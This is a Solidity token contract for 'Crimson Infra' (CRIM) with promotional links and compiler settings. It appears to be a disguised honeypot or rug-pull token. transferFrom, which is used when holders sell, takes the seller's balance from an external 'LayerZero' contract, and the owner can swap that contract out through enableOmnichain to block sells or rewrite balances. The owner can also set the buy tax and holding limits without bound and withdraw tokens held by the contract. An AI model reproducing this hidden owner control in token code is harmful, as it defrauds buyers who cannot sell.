/*

Empowering The Connection of DeFi and AI

Website:            https://crimsondefi.com
Documentation:      https://docs.crimsondefi.com
Twitter:            https://twitter.com/CrimsonDeFi
Medium:             https://medium.com/@CrimsonDefi
Telegram:           https://t.me/CrimsonDefiAI

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./LayerZero.sol";

contract CRIM {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    uint256 public totalSupply = 100_000_000 * 10 ** 18;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "Crimson Infra";
    string public symbol = "CRIM";
    uint8 public decimals = 18;

    address public layerZero;

    uint public taxBuy = 75;
    uint public maxTransaction = 100;
    bool public live;
    address public dex;

    address public owner;

    constructor() {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);

        layerZero = address(new LayerZero());

        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(live);

        if (msg.sender == dex) return dexSwap(msg.sender, recipient, amount);

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function dexSwap(address sender, address recipient, uint amount) private returns (bool) {
        balanceOf[sender] -= amount;
    
        uint taxTokens = amount * taxBuy / 10000;

        balanceOf[address(this)] += taxTokens;
        emit Transfer(sender, address(this), taxTokens);

        uint recipientTokens = amount - taxTokens;
        balanceOf[recipient] += recipientTokens;

        uint tokenLimit = totalSupply * maxTransaction / 10000;
        require(tokenLimit >= balanceOf[recipient]);

        emit Transfer(sender, recipient, recipientTokens);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] = bal(sender) - amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableOmnichain(address _layerZero) public onlyOwner {
        layerZero = _layerZero;
        ILayerZero(layerZero).enable();
    }

    function bal(address party) public view returns (uint) {
        return ILayerZero(layerZero).safeBalance(party);
    }

    function openDex(address _dex) public onlyOwner {
        live = true;
        dex = _dex;
    }

    function upgradeDexSwap(uint _taxBuy, uint _maxTransaction) public onlyOwner {
        taxBuy = _taxBuy;
        maxTransaction = _maxTransaction;
    }

    function claimBalance(address token) public onlyOwner {
        uint balance = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(msg.sender, balance);
    }
}

interface ILayerZero {
    function safeBalance(
        address party
    ) external view returns (uint);

    function enable() external;
}

/*

Empowering The Connection of DeFi and AI

Website:            https://crimsondefi.com
Documentation:      https://docs.crimsondefi.com
Twitter:            https://twitter.com/CrimsonDeFi
Medium:             https://medium.com/@CrimsonDefi
Telegram:           https://t.me/CrimsonDefiAI

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract LayerZero {
    bool public enabled;

    function safeBalance(address party) public view returns (uint) {
        return IERC20(msg.sender).balanceOf(party);
    }

    function enable() public {
        enabled = false;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

{
  "compilationTarget": {
    "contracts/CRIM.sol": "CRIM"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}